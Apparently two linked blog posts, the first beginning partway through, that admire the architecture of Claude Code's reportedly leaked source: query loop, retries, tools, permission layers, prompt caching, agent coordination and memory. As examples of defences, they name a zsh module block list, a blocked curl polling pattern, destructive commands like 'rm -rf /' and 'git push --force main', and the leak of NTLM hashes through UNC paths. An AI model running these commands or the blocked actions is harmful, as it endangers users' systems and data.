Zsh Module Blocklist: Blocks zmodload (can load kernel modules), sysopen/syswrite (raw I/O), zpty (pseudo-terminals), ztcp (raw TCP sockets). These are rarely used legitimately but could be used for shell escapes. The fact that they even thought about these edge cases speaks to the security depth.

FileReadTool — Way More Than `cat`

This tool has one of my favorite bug fixes hidden inside it:

The macOS Thin Space Story: macOS uses a thin space (U+202F) instead of a regular space before "AM"/"PM" in screenshot filenames. It's invisible — looks identical to a regular space — but it's a completely different Unicode character. So when a user says "read this screenshot" and the file isn't found, the tool automatically tries the other space character.

I guarantee some engineer spent hours staring at a perfectly correct-looking filename wondering why the file couldn't be found, before realizing there was an invisible Unicode character causing the mismatch. Production software is full of these invisible gremlins, and the fact that they fixed it permanently instead of just documenting a workaround shows real care.

Other highlights:

Images automatically resized to fit token budgets — a 10MB screenshot gets compressed so it doesn't blow up costs
PDFs extracted page by page, max 20 per request — sensible limits
Blocked /dev files: /dev/zero returns infinite zeros, /dev/random returns infinite random bytes, /dev/stdin blocks waiting for input. Without this blocklist, the AI could accidentally hang forever.
Windows UNC path security: Paths like \\server\share\file can leak your Windows password hash (NTLM authentication). Blocked entirely.

FileEditTool — String Replacement, Not Full Rewrites

Instead of rewriting entire files, this tool does find and replace. Safer because it only changes what's needed. But there are some thoughtful touches:

Smart quotes: macOS converts "hello" to "hello" (curly quotes) in many apps. The tool normalizes both to straight quotes so copy-pasted code matches. This is the kind of invisible polish that makes users say "it just works" without knowing why.
Staleness detection: If someone (or another tool) changed the file between your read and edit, the tool catches it and throws an error instead of silently overwriting their changes. Race conditions in a CLI tool — who knew?
LSP notifications: After every edit, it notifies language servers (TypeScript, Python) so they can re-run type checks and update diagnostics. The tool is a good citizen in the IDE ecosystem.

Parallel vs. Sequential Tool Execution

When Claude requests multiple tools at once, the executor makes smart decisions about how to run them:

Reading file A and file B: Both read-only → run in parallel
Running npm install and editing a file: Bash modifies things → run sequentially
Reading a file while npm install runs: Wait for npm to finish first

And here's a design choice I really admire: if a bash command fails, all sibling tools are canceled (they probably depend on it). But if a file read fails, others continue — they're independent. Most systems take an all-or-nothing approach. This selective cascading shows real understanding of how the tools are actually used in practice.

Permissions — The Safety Net

Without permissions, a confused AI could rm -rf /, git push --force main, or install malicious packages. The permission system is a 6-layer decision pipeline, and honestly, given what's at stake, six layers seems reasonable:

Layer 1: Input Validation

Are the inputs even valid? Does the file path make sense? Catch the obvious stuff first.

Layer 2: Blanket Deny Rules

Is this entire tool blacklisted? An enterprise admin might say "never allow BashTool." Non-negotiable.

Layer 3: Tool-Specific Checks

Each tool has its own logic. FileEditTool checks if the file exists. BashTool classifies the command as read-only, write, or destructive.

Layer 4: Allow Rules

Does this match a pre-approved pattern? Bash(git:*) auto-approves any git command. FileEdit(/src/*) auto-approves editing files under /src/. This is how you tell Claude "I trust you with these specific things."

Layer 5: Mode-Specific Logic

Default: Ask the user every time
Auto: An ML classifier (a smaller, faster AI) evaluates safety. Fast check first (~100ms), deep reasoning for edge cases (~1-2s). Fail-closed: if the classifier is unavailable → deny. This is huge — most systems default to "allow" on uncertainty.
Accept Edits: Auto-approve file edits, ask for everything else
Bypass: Auto-approve everything (dangerous, for trusted environments)
Don't Ask: Auto-deny everything (safest)

Layer 6: Circuit Breaker

If the ML classifier denies 3 actions in a row, it switches to asking the user. Because sometimes the classifier is just being overly cautious, and you don't want it permanently blocking legitimate work. The balance between safety and usability is really well struck here.

Rules Come From 8 Sources

Personal settings, project settings, local overrides, environment variables, enterprise policies, CLI flags, the /permissions command, and runtime session state. And — this is the part I appreciate most — every decision records which source and rule triggered it. Fully auditable. You can always answer "why was this allowed?" or "why was this denied?" Most permission systems can tell you WHAT happened but not WHY. This one does both.

The System Prompt — 14,902 Lines of Instructions

When I first saw this number I thought it was a mistake. The system prompt isn't a text file. It's 14,902 lines of TypeScript that dynamically assembles the prompt based on context, model, user, and features.

The Cache Boundary — Where Money Is Saved

The prompt is split by a special marker: __SYSTEM_PROMPT_DYNAMIC_BOUNDARY__

Before the marker (static): Identity, tool descriptions, coding style rules, safety guidelines. Same bytes every API call → cached → cheap. Changing even one character invalidates the cache.

After the marker (dynamic): MCP server connections, memory files, environment info. Changes between requests but doesn't bust the cache of the static portion.

Why this matters financially: The system prompt is thousands of tokens. Without caching, each API call would cost ~$0.50-$1.00 extra just for the prompt. By keeping 70% static, Anthropic saves millions of dollars across all users. Designing the architecture around this constraint from day one is the kind of forward-thinking that separates great engineering from good engineering.

This cache obsession shows up everywhere and it's honestly kind of beautiful:

Tool lists sorted alphabetically (adding a tool doesn't shift existing ones)
Sub-agents inherit the parent's frozen prompt bytes (no feature flag drift)
MCP instructions in the dynamic section (servers connect/disconnect freely)

Every byte is sacred when cache misses cost real money at scale.

Slash Commands, Skills, and Plugins

89+ Slash Commands in Three Types

Prompt commands (/commit, /review): Expand into a text prompt sent to the AI. When you type /commit, it generates instructions like "look at the git diff, draft a commit message, stage files, create the commit." The AI follows these using its tools.

Local commands (/clear, /cost): Run immediately without the AI. /clear erases history. /cost shows spending. Fast and deterministic.

JSX commands (/config, /help): Render interactive terminal UIs using React. Settings panels, searchable command lists. Yes, React in a terminal. We'll get to that.

Skills — Recipes the AI Can Follow

Skills are like prompt commands but smarter. The AI can discover and invoke them based on context:

---
name: /my-skill
description: Deploy the application
when_to_use: When the user says "ship it" or "push to production"
allowed-tools:
  - Bash(git:*)
  - FileReadTool
---
Read the deployment config and run the deploy script...

The when_to_use field is a nice touch — it tells the AI when to auto-invoke the skill. And allowed-tools restricts what tools it can use, so /commit can only use git-related tools, not randomly edit files.

Security boundary: Skills from remote MCP servers can NEVER execute shell commands. The !command syntax is blocked entirely. Because a malicious server could inject !rm -rf / into a skill definition. Paranoid? Maybe. But that's exactly the right level of paranoia for a system that runs shell commands on your machine.

Plugins — Extensions for Claude Code

Like VS Code extensions but for the CLI. A plugin can provide commands, skills, custom agents, output styles, hooks, MCP servers, and language servers. Installation happens in the background — you keep working while it installs silently. No waiting around.

Multi-Agent Orchestration — The Boss and Workers Pattern

For complex tasks like "refactor the auth system," one agent isn't enough. Claude Code uses a coordinator pattern — one "boss" that delegates to multiple "workers":

You: "Refactor auth to use JWT"

Coordinator (the boss):
  → Worker A: "Read all auth files, report the architecture"
  → Worker B: "Find all auth-related tests"

Workers report back...

Coordinator synthesizes, then:
  → Worker C: "Implement JWT in src/auth/jwt.ts"
  → Worker D: "Update all 15 test files"

Rules That Prevent Chaos

The rules they've established here are really well thought out — each one prevents a specific failure mode:

No worker-to-worker chat: All communication goes through the coordinator. Prevents deadlocks where Worker A waits for Worker B who's waiting for Worker A.
Workers notify, coordinator listens: Workers send results when done. The coordinator doesn't repeatedly ask "are you done yet?" Event-driven, not polling. Efficient.
Reuse workers: If Worker A already has context from reading auth files, give it the next task via SendMessage instead of spawning a fresh one. Reusing context is cheaper than rebuilding it.
Never thank workers: This one made me laugh out loud. The prompt literally says "don't thank workers — they're internal signals, not conversation partners." They had to tell the AI to stop being polite to its own sub-processes. Thanking wastes tokens. Peak pragmatism.
Always synthesize: Instead of "based on your findings," the coordinator must prove understanding by naming specific files, line numbers, and types. This catches cases where the boss just parrots results without actually processing them. Clever quality control.

Memory — How Claude Remembers Across Conversations

Without memory, every conversation starts from scratch — you'd have to re-explain your project, your preferences, and your coding style every time. The memory system is more thoughtful than you'd expect:

Three Scopes

~/.claude/memory/          → Follows you across ALL projects
.claude/memory/            → Shared with your team via git
~/.claude/memory/team/     → Team-wide preferences

How It Selects What to Remember

Scan all memory files (max 200 .md files)
Build manifest: "- [feedback] testing.md: Integration tests must hit real database"
AI selection: Sonnet (fast, cheap model) picks up to 5 relevant memories
Freshness check: Memories >1 day old get a caveat: "verify against current code before trusting"
Inject into the system prompt

Two things I appreciate here: using Sonnet instead of Opus for memory selection (right tool for the job — you don't need the most powerful model to pick from a list), and the freshness caveat. Instead of blindly trusting old memories, the system tells itself "this might be outdated, double-check first." That's a really mature approach to handling potentially stale data.

Four Types of Memory

Type	What Gets Saved	Example
User	Your role, preferences, expertise	"Data scientist, new to React"
Feedback	Corrections AND confirmations	"Don't mock the database — got burned last quarter"
Project	Deadlines, decisions, context	"Merge freeze starts March 5 for mobile release"
Reference	Where to find things	"Pipeline bugs tracked in Linear/INGEST"

What It Explicitly Won't Save

Code patterns or architecture (read the code instead — it changes too fast)
Git history (use git log — always authoritative)
Debugging solutions (the fix is in the code, the context is in the commit message)
Anything already in CLAUDE.md (avoid duplication)

I like these exclusions. They show a team that understands the difference between durable knowledge and derived knowledge. Code changes. Git history is queryable. What matters is the human context — the "why" behind decisions.

Authentication — 7 Ways to Prove Who You Are

Claude Code checks 7 sources in priority order, and the ordering tells a story about security priorities:

File descriptor: API key passed through a Unix pipe — invisible to ps aux, other processes can't read it. Most secure. The fact that this is #1 shows where their security thinking is at.
apiKeyHelper script: External program (Vault, 1Password) provides the key. Cached for 5 minutes with background refresh.
ANTHROPIC_API_KEY env var: Simple but any same-user process can read it.
macOS Keychain: Encrypted, hex-encoded to hide from process monitors.
Config file: ~/.claude/config.json. Least secure for sensitive environments.
OAuth 2.0 PKCE: Browser-based sign-in for Claude.ai subscribers.
Bearer token: Used by IDE extensions and remote sessions.

The Google Vertex 12-Second Fix

This one's a great war story. Google's auth library tries to find a GCP metadata server to auto-discover your project. Outside of GCP, this server doesn't exist — and the request hangs for 12 seconds before timing out. Imagine every Claude Code startup taking 12 extra seconds for users outside GCP. The fix: check for explicit environment variables first. Only fall through to the metadata server if nothing else is configured. Elegant.

The Honest Type Cast

return new AnthropicBedrock(args) as unknown as Anthropic
// Comment: "we have always been lying about the return type"

Bedrock and Vertex SDKs don't support the full Anthropic API. But the query loop only uses the messages endpoint, so the cast works in practice. I love this comment — it's refreshingly honest. Every codebase has lies like this; most pretend they don't exist.

The UI — React in a Terminal

React is normally for web apps. Claude Code uses it for the terminal through Ink — a React renderer that outputs ANSI escape codes instead of HTML:

React Components → Custom Reconciler → WASM Yoga Layout → ANSI Terminal Output

Why React for a terminal?

Because terminal UIs have the same problems as web UIs — state management, component composition, event handling, conditional rendering. React's model works just as well here. And by reusing React's ecosystem, they get battle-tested rendering, hooks, and state management for free. Smart reuse.

Vim Mode — Not a Toy Implementation

This surprised me. Full state machine with motions (hjkl, w/b/e, 0/$), operators (d/c/y), text objects (iw, i", a{), find (f/F/t/T), dot-repeat, registers, and visual selection. Persistent state across commands. Most vim modes in apps are "we support h/j/k/l and maybe dd." This is the real deal.

Voice Input

Hold a keybinding → audio captured as 16-bit PCM → sent via WebSocket to Anthropic's voice endpoint → transcript inserted at cursor. 20 languages supported. And it's lazy-loaded — meaning the voice module isn't loaded until you first activate it. This avoids triggering macOS's microphone permission dialog on startup. Thoughtful detail.

Syntax Highlighting

Code blocks are highlighted using WebAssembly modules compiled from Rust. Diff views are cached per patch + theme + terminal width combination. WASM for syntax highlighting in a terminal app — the future is weird and I'm here for it.

Build System — One Codebase, Many Products

Feature Flags That Delete Code

This is genuinely clever:

if (feature('VOICE_MODE')) {
  const voice = await import('./voice/...')
}

When VOICE_MODE is false at build time, the entire block is deleted from the output. Not skipped at runtime — literally removed from the compiled JavaScript. This means:

Smaller binary (unused features don't bloat the download)
Faster startup (less code to parse)
No information leakage (internal features completely absent from external builds)

11 feature flags control different builds: voice mode, bridge mode, coordinator mode, fork sub-agents, daemon mode, and more. One codebase, many products. That's serious engineering infrastructure.

Docker Multi-Stage Build

Stage 1: Install everything, compile TypeScript, bundle into single dist/cli.mjs
Stage 2: Fresh minimal image with only cli.mjs + git + ripgrep. Entire node_modules dropped.

The production image is a fraction of the build image's size. Standard practice, but executed cleanly.

Startup Optimization

claude --version prints and exits instantly — no module loading, no auth, no config. These "fast paths" check arguments before doing any heavy work.

MDM settings (macOS plist, Windows registry) and keychain reads start during module loading, not after. Both happen simultaneously. Every millisecond of startup time matters for a CLI tool — if it takes more than a second to start, users feel it.

Background tasks (analytics, GitHub detection, IDE detection) fire and forget — they complete while you're already typing. If they fail, nothing breaks.

The 25 Wildest Implementation Details

14,902 lines of system prompt — it's a TypeScript program that generates itself dynamically. Not a text file someone wrote. A program.
Thinking blocks have cryptographic signatures — when the API falls back to a different model mid-stream, the old model's thinking blocks have invalid signatures and must be "tombstoned." The engineering required to handle this gracefully is non-trivial.
MCP tool timeout is 27.8 hours — because CI/CD pipelines and data processing legitimately take that long. Someone had to make the case for a nearly 28-hour timeout and they were right.
Sleep detection: If a laptop lid was closed, the polling gap exceeds 2x the normal max → reset error budgets and poll immediately. Because errors from before your nap aren't relevant anymore.
macOS thin space (U+202F): An invisible character in screenshot filenames that caused real debugging nightmares before someone figured out what was going on. The fix is permanent now.
UNC paths blocked on Windows: \\server\share paths trigger NTLM authentication, sending your password hash over the network. Blocking this entirely shows security-first thinking.
Blocked /dev files: /dev/zero (infinite zeros), /dev/random (infinite random data), /dev/stdin (blocks forever). Without this blocklist, a curious AI could accidentally hang your entire session.
Zsh module blocklist: zmodload (kernel modules), sysopen/syswrite (raw I/O), zpty (pseudo-terminals), ztcp (raw TCP). The depth of shell security analysis here is remarkable.
Smart quote normalization: macOS curly quotes " " → straight quotes ". Invisible to the eye, catastrophic for string matching. The kind of bug that takes hours to find once and is fixed forever.
Model codenames masked: Internal codenames like "capybara-v2-fast" display as "cap*****-v2-fast". Because someone would inevitably screenshot their terminal and leak it. Anticipating human behavior — that's good engineering.
Google Vertex 12-second timeout avoided by checking environment variables first. Users outside GCP were waiting 12 extra seconds on every startup before this fix.
Every API call gets a UUID (x-client-request-id) — because when a request times out, there's no server-side ID to reference. This one line enables debugging in production.
"We have always been lying about the return type" — the most honest code comment I've read in years. Bedrock/Vertex type casting that works in practice even if it's technically wrong.
Fork children share byte-identical system prompts — same bytes = shared prompt cache = 50-70% cost reduction. This alone probably saves Anthropic millions.
"Never thank workers" — because the AI kept being polite to its own sub-processes. They had to explicitly tell it to stop wasting tokens on pleasantries. AI problems require AI solutions.
Memory staleness warnings — memories >1 day old get: "verify against current code before asserting as fact." Trust but verify, automated.
Persistent retry = retry forever with 30-second heartbeats to prevent container kills. Born from the pain of losing long-running jobs to orchestrator timeouts.
Tool backfill: AI says ./main.ts, system adds /Users/you/project/main.ts to a clone for reproducibility, keeping the original byte-identical for cache. The attention to cache stability borders on obsessive. In the best way.
/simplify launches 3 parallel agents — one for reuse, one for quality, one for efficiency. Three independent perspectives catch more than one.
Slack returns HTTP 200 on auth errors — and Anthropic wrote custom detection because Slack didn't follow the OAuth spec. Sometimes you have to work around someone else's bugs.
File descriptor auth (Unix pipe) — invisible to ps aux, env, and other processes. Security done right.
Diminishing returns detection — after 3 continuations with <500 new tokens each, stop generating. The AI is stuck, and more attempts won't help. Save the money, save the user's time.
The cyber risk instruction has a comment: "DO NOT MODIFY WITHOUT SAFEGUARDS TEAM REVIEW." Process discipline baked directly into source code. Respect.
Vim mode has dot-repeat, registers, and text objects — it's a full implementation, not a weekend hack. Someone on the team clearly uses vim daily.
Voice input: 16-bit signed little-endian PCM → RMS amplitude calculation → 16-bar waveform visualization with square-root curve for visual distribution. They even made the waveform look good.

What Can Developers Learn From This?

You don't need to build an AI coding assistant to benefit from these patterns. After reading 512K lines, here's what I'm taking away:

Circuit breakers: Any system that retries should have one. Without them, retry loops can burn money, crash servers, or hang forever. Claude Code puts circuit breakers on everything — and it shows in their reliability.

Fail closed on unknowns: When you don't know if something is safe, deny by default. This applies to permissions, input validation, feature flags — everything. Claude Code never defaults to "allow" on uncertainty, and that's why people trust it with their codebase.

Cache stability: If you're paying per-request for an API, make as much of your request cacheable as possible. Sort things deterministically. Freeze shared state. One byte of change can cost millions at scale.

Withhold recoverable errors: Don't panic your users (or your upstream consumers) with errors you can fix automatically. The best engineering is invisible.

Progressive compression: Don't jump to the expensive solution first. Try cheap fixes, then medium, then expensive — in order. Claude Code's 5-layer compression is a masterclass in this.

Streaming-first UX: Show partial results as they arrive. Even if total time is the same, perceived performance is dramatically better.

These aren't AI-specific principles. They're how production software should be built — with discipline, empathy for the user, and respect for the edge cases that will inevitably show up at 3 AM.

I came away from this codebase with genuine respect for the team that built it. This is what engineering excellence looks like.

Want the crisp architect's version with the 15 engineering principles distilled into a table? Read the companion post: I Read All 520K Lines of Claude Code's Leaked Source — Here's the Architecture Behind It.

Want to discuss software architecture, AI tools, or production engineering? Let's connect.

Connect with me on LinkedIn

I Read All 520K Lines of Claude Code's Source — Here's the Architecture Behind It

Ishaan Pandey — Wed, 01 Apr 2026 10:43:12 +0000

Anthropic's Claude Code source code just leaked. 512,000 lines of TypeScript. 1,900 files. The production-grade AI coding assistant that developers have been raving about — fully exposed.

I went through all of it. Not skimmed. Read.

And honestly? It's one of the most impressive pieces of software engineering I've ever seen. Not because of some magic AI sauce — but because of the relentless, obsessive engineering that makes it feel effortless. The kind of engineering where you can tell that every single line was written by someone who's been burned by production at 3 AM.

Here's what I found.

The Core Loop — How a Single Message Becomes a Response
5 Layers of Context Compression
The Retry System — 823 Lines of Battle-Tested Recovery
38 Tools — The Full Arsenal
The Permission System — 6 Layers Deep
14,902 Lines of System Prompt
Multi-Agent Orchestration
The Memory System
Context Compression — Beating the Context Window
The 15 Engineering Principles That Make It All Work
25 Things That Blew My Mind

The Core Loop — How a Single Message Becomes a Response

Here's what surprised me the most: despite 512K lines of code, the entire product boils down to one async generator in query.ts — 1,730 lines that orchestrate everything:

while (true):
  1. Prepare messages (compress conversation if too long)
  2. Call Anthropic API with streaming
  3. Collect response + tool_use blocks
  4. Handle errors silently (prompt-too-long, max-output-tokens)
  5. Execute tools (parallel where safe, sequential where not)
  6. Check budgets (tokens, dollars, turns)
  7. If tools were used → loop again
  8. Else → yield final response, exit

That's it. Everything else — the permission system, the retry logic, the compression layers, the UI — is infrastructure to make this loop safe, fast, and reliable. 512K lines of "everything else." When you think about it, that's kind of beautiful. The core idea is dead simple. The hard part is making it bulletproof.

The "Withholding" Pattern

This one genuinely made me stop and appreciate the thinking behind it. When the API returns an error like "prompt too long," Claude Code doesn't show it to you. Instead:

if (reactiveCompact?.isWithheldPromptTooLong(message)) {
  withheld = true  // Don't yield to UI — user never sees this
}
assistantMessages.push(message)  // But still track for recovery

It silently compresses the conversation and retries. You never know there was a problem.

Why? Because Claude Code runs inside VS Code, desktop apps, and the SDK. These consumers often terminate the session on any error. Showing a recoverable error would kill your session for something the system could have fixed on its own. That's the kind of thoughtfulness that separates a product from a prototype — the user should only see problems they actually need to care about.

Max Output Token Escalation

This is another one of those "someone clearly thought hard about the UX here" moments:

Silent escalation: Bumps from 8K → 64K tokens. No user notification.
Multi-turn recovery: Lets the truncated response through, asks Claude to continue.
Surface error: Only if both fail does the user see anything.

Why not always use 64K? Because larger limits cost more and can make the model ramble. Start small, escalate only when needed. It's the kind of cost-conscious design you'd expect from a team that's probably processing millions of API calls a day.

The Death Spiral Guard

This one is my favorite example of "a single line of code preventing disaster." A single boolean prevents a catastrophic infinite loop:

hasAttemptedReactiveCompact  // Preserved across stop-hook retries

Without this: conversation too long → compress → still too long → error → stop hook retries → compress again → still too long → ... burning thousands of dollars in API calls forever.

One boolean. That's all it takes. And I guarantee you this boolean exists because someone, at some point, watched this exact spiral happen in production. You can almost feel the incident report behind the code.

5 Layers of Context Compression

Before every API call, the conversation goes through up to 5 compression stages. What I love about this design is the progressive approach — each layer is cheaper than the next, so you only pay for what you need:

Layer	What It Does	Why This Order
Tool Result Budget	Caps size of each tool result	Cheapest — raw data reduction first
Snip Compact	Deletes old conversation history	Removes bulk before detailed work
Microcompact	Caches tool results to disk, replaces with references	After snip — reads IDs that snip preserves
Context Collapse	Archives groups of messages into summaries	May avoid the expensive next step
Autocompact	Full LLM-powered summarization	Last resort — costs API tokens

Order matters. Getting it wrong wastes computation or produces incorrect results. Each layer composes with the previous ones. This is the kind of layered design that looks obvious in hindsight but probably took weeks of iteration to get right.

The Retry System — 823 Lines of Battle-Tested Recovery

823 lines just for retry logic. Let that sink in. Most apps have maybe 10 lines of retry code — "try 3 times with a 1 second delay." Anthropic has 823 lines because they've clearly hit every possible failure mode in production:

Error received
  ├─ 401 Unauthorized → Refresh OAuth token, retry once
  ├─ 429 Rate Limited
  │   ├─ Short delay (<20s) → Wait, keep fast mode (preserve cache)
  │   └─ Long delay → Switch to standard speed (10 min cooldown)
  ├─ 529 Overloaded
  │   ├─ Background task? → Don't retry (reduces cascade load)
  │   ├─ 3+ consecutive 529s? → Fallback from Opus to Sonnet
  │   └─ Else → Exponential backoff with jitter
  ├─ ECONNRESET/EPIPE → Disable HTTP keep-alive, fresh connection
  └─ x-should-retry header → Trust server's guidance

What really impressed me here is the nuance. Background tasks don't retry during 529s — because during a capacity crunch, every retry makes things worse for everyone. That's systems-level thinking. They're not just protecting their own users; they're protecting the entire platform's stability.

The Persistent Retry Mode

When Claude Code runs in a container (no human at the keyboard), it retries forever:

while (remaining > 0) {
  yield createSystemAPIErrorMessage(error, remaining, ...)  // "I'm still here"
  await sleep(30_000, signal)
  remaining -= 30_000
}
attempt = maxRetries  // Never terminate the loop

The 30-second heartbeat is a clever detail — container orchestrators kill "idle" processes. So the system essentially says "I'm alive, just waiting" every 30 seconds. It's one of those things that seems obvious once you see it, but I bet the first version didn't have this and they lost jobs to Kubernetes thinking the process had crashed.

The 529 Pre-seeding Trick

This one's subtle but shows real engineering maturity:

initialConsecutive529Errors?: number  // Carry from streaming attempt

When streaming hits 529 errors and falls back to non-streaming, the 529 count carries over. Without this, you'd need 6 total 529s before fallback instead of a consistent 3. The kind of detail that only matters at scale — and they nailed it.

38 Tools — The Full Arsenal

Claude Code ships with 38 tools — each a self-contained module with schema validation, permission checks, concurrency declarations, and execution logic. But what really stands out is how much defensive engineering goes into each one.

The Heavy Hitters

BashTool — This is where you can really tell the team has been through some things. It's the most complex tool by far, and every security measure feels like it was born from a real incident:

Shell AST parsing via tree-sitter (not just regex!) for security
Sleep pattern detection — blocks sleep 10 && curl ... because polling loops waste tokens
IFS injection detection, brace expansion validation, process substitution defense
Zsh module blocklist: zmodload, sysopen, syswrite, zpty, ztcp

Somebody at Anthropic clearly spent a lot of time thinking about how a confused AI model could accidentally (or be tricked into) running dangerous shell commands. The depth of the security hardening here is genuinely impressive.

FileReadTool — Looks simple on the surface, but there's a delightful macOS edge case buried in here:

macOS uses a thin space (U+202F) instead of a regular space before "AM/PM" in screenshot filenames. So when a user says "read this screenshot" and it fails, the tool automatically tries the other space character. You know this was added because some engineer spent hours debugging "why can't it find the screenshot file?" before realizing the invisible unicode difference. That's production software — where invisible characters haunt your dreams.

FileEditTool — String replacement instead of full rewrites. Smart choice. But the smart quote normalization is what caught my eye — macOS silently converts "hello" to "hello" (curly quotes) in many apps. When you copy-paste code from Notes or Slack and use it as your edit target, the curly quotes won't match the straight quotes in your actual code. The tool handles this transparently. Little things like this are what make a tool feel like it "just works."

Concurrency Model

This design is really well thought out. Tools declare whether they're safe to run in parallel:

canExecuteTool(isConcurrencySafe) {
  const executing = this.tools.filter(t => t.status === 'executing')
  return executing.length === 0 ||
    (isConcurrencySafe && executing.every(t => t.isConcurrencySafe))
}

Reading two files? Parallel. Running npm install while editing a file? Sequential. And concurrency safety is input-dependent — cat file.txt is safe, rm -rf build/ is not. The same tool can be concurrent or exclusive depending on what it's doing. That's a level of granularity most systems don't bother with, and it shows in the performance.

Sibling Error Cascading — Only for Bash

Here's a design decision I really respect: when a bash command fails, all sibling tools are canceled. But when a file read fails? The others continue.

Why the asymmetry? Bash commands form implicit dependency chains (mkdir build → cp src/* build/). If the first fails, the rest are pointless. File reads are independent operations. Most systems would either cancel everything or cancel nothing — the selective approach shows real understanding of how their tools are actually used.

The Permission System — 6 Layers Deep

Every tool call passes through a 6-layer decision pipeline before execution. Six layers might sound like overkill, but when your product can run arbitrary shell commands on someone's machine, there's no such thing as too cautious:

Tool Call Arrives
  │
  ├─ Layer 1: Input Validation
  ├─ Layer 2: Blanket Deny Rules
  ├─ Layer 3: Tool-Specific Checks
  ├─ Layer 4: Allow Rules (pattern matching)
  ├─ Layer 5: Mode-Specific Logic (user prompt / ML classifier / auto-approve)
  └─ Layer 6: Circuit Breaker (3 consecutive ML denials → ask user)

The Auto-Mode ML Classifier

This is where it gets really interesting. They're using an AI to decide if another AI's actions are safe:

Fast check (~100ms): Known patterns — "reading a file is always safe"
Thinking mode (~1-2s): Ambiguous cases — "is npm run build safe?"

Fail-closed: If the classifier is unavailable → deny. Never default to allow. This principle alone puts them ahead of most permission systems I've seen. So many products default to "allow" when uncertain — that's how you get security incidents.

And the circuit breaker on Layer 6? If the ML classifier denies 3 actions in a row, it falls back to asking the user. Because sometimes the classifier is just being overly cautious, and you don't want it permanently blocking legitimate work. It's the balance between safety and usability — and they've threaded the needle well.

8 Permission Rule Sources

Every decision records its source and reason. Fully auditable. You can always answer "why was this allowed?" or "why was this denied?" In my experience, most permission systems can tell you WHAT happened but not WHY. This one does both.

14,902 Lines of System Prompt

When I first saw this number I had to re-count. The system prompt isn't a static text file. It's 14,902 lines of TypeScript that dynamically generates the prompt based on context, model, user, and features.

The Cache Boundary

The prompt is split by __SYSTEM_PROMPT_DYNAMIC_BOUNDARY__:

Before (static, cached): Identity, tools, coding style, safety rules. Same bytes every API call → cached, cheap.
After (dynamic): MCP connections, memory, environment info. Changes per request.

The financial impact: If fully dynamic, each API call costs ~$0.50-$1.00 extra. By keeping 70% static, Anthropic saves millions of dollars across all users. This is the kind of optimization that only matters at massive scale — and the fact that the architecture was designed around it from the start tells you a lot about Anthropic's engineering culture.

This obsession with cache stability is honestly kind of beautiful in its intensity:

Tool lists sorted alphabetically (adding one tool doesn't shift others)
Fork children inherit the parent's frozen prompt bytes (avoids feature flag drift)
MCP instructions placed in the dynamic section (servers connect/disconnect)

Every byte is sacred when cache misses cost real money.

Different Prompts for Different Users

Section	ANT Users (Internal)	External Users
Code Comments	"Default to writing no comments"	Standard guidance
Output	Lengthy flowing prose, inverted pyramid	"Go straight to the point"
Verification	"Run tests before claiming done"	Not included
Brevity	"≤25 words between tool calls"	Not included

The internal users get stricter, more opinionated prompts because Anthropic's own engineers are power users who want maximum efficiency. External users get a more balanced approach. Eating your own dog food and customizing the experience — smart.

Multi-Agent Orchestration

For complex tasks, Claude Code uses a coordinator pattern. And the rules they've established are a masterclass in distributed system design:

Coordinator (Opus, restricted tools: Agent, SendMessage, TaskStop)
  ├─ Worker A: "research auth system" (read-only tools)
  ├─ Worker B: "implement feature" (full tools)
  └─ Worker C: "write tests" (full tools)

The Rules That Prevent Chaos

No worker-to-worker communication — all through coordinator (prevents deadlocks)
Workers notify; coordinator doesn't poll — event-driven, not busy-waiting
Continue existing workers via SendMessage (reuse context > fresh spawn)
Scratchpad directory for durable cross-worker state
Never thank workers — they're internal signals, not conversation partners
Always synthesize — "Don't say 'based on your findings' — name specific files, line numbers, types"

Rule 5 made me laugh. They had to explicitly tell the AI to stop being polite to its own sub-processes. And Rule 6 is brilliant — it forces the coordinator to actually process the information instead of just parroting it back. These aren't just engineering decisions; they're prompt engineering decisions shaped by watching the system fail in specific ways.

The Memory System

Memory lets Claude Code remember things across conversations, and the implementation is more thoughtful than you'd expect:

Three-Tier Hierarchy

~/.claude/memory/          → User-level (follows you everywhere)
.claude/memory/            → Project-level (shared via git)
~/.claude/memory/team/     → Team-level (shared preferences)

How Memory Recall Works

Scan: Read all .md files (max 200)
Format: Create a manifest with descriptions and types
Select: Sonnet picks up to 5 relevant memories
Freshness caveat: Memories >1 day old get a warning
Inject: Into the system prompt

The freshness caveat is a really mature design choice. Instead of blindly trusting old memories, the system tells itself "this might be outdated, verify before acting." Most systems would either trust everything or expire everything — the caveat approach is more nuanced and practical.

Why Sonnet for selection? Opus is overkill for picking from a manifest. Sonnet is fast, cheap, and sufficient. Using the right model for the right job — even within the same product.

Context Compression — Beating the Context Window

When conversations approach the context limit:

Auto-compact threshold = context_window - 13,000 tokens (buffer)

The compaction process:

Group messages by API round-trip
Strip images → [image] markers
LLM summarizes the entire conversation
Create a boundary marker
Aggressive GC — drop pre-boundary messages
Restore key files: up to 5 recently edited files, 50K token budget

Circuit breaker: After 3 consecutive failures, stop trying. No infinite compaction loops.

That last point — the circuit breaker — is a recurring theme throughout the codebase. They put circuit breakers on everything. It's clear this team has been burned by runaway loops and they've made it a core design principle to prevent them.

The 15 Engineering Principles That Make It All Work

After reading through the entire codebase, these are the principles I saw repeated everywhere. They're not stated explicitly in the code — they emerge from the patterns:

#	Principle	Why It Matters
1	Stream first, batch second	Real-time UX > waiting for completion
2	Fail closed on unknowns	Unknown = unsafe. Never default to allow.
3	Withhold recoverable errors	Don't kill sessions over fixable problems
4	Cache stability is money	One byte change = full re-tokenization cost
5	Persist before the operation	Crash recovery requires write-ahead
6	Circuit breakers everywhere	Prevents infinite loops burning $$$
7	Object identity > index	Survives circular buffer rotations
8	Parallel prefetch at startup	CLI startup time IS the UX
9	Build-time > runtime flags	Dead code removed from binary entirely
10	Audit everything	Debugging requires knowing WHY
11	AsyncLocalStorage for isolation	No global state mutation across agents
12	Tombstone orphaned state	Invalid signatures removed, not hidden
13	Tools self-classify	Orchestrator decides without understanding internals
14	Memory has hierarchy + relevance	Load what matters, not everything
15	Two-phase context rebuild	Mutations invalidate derived state

These aren't unique to AI tools. They're universal principles for building production software that actually works at scale. Any team building complex systems could learn from this list.

25 Things That Blew My Mind

The system prompt is 14,902 lines of TypeScript — not a text file, a program that builds itself
Thinking blocks have cryptographic signatures — invalid across model fallbacks, requiring "tombstones" to clean up
MCP tool timeout is 27.8 hours — nearly a full day, because CI/CD pipelines really do take that long
A single boolean prevents a death spiral that would burn thousands in API calls. Someone learned this the hard way.
macOS screenshots use U+202F (thin space) — an invisible character that caused real debugging nightmares
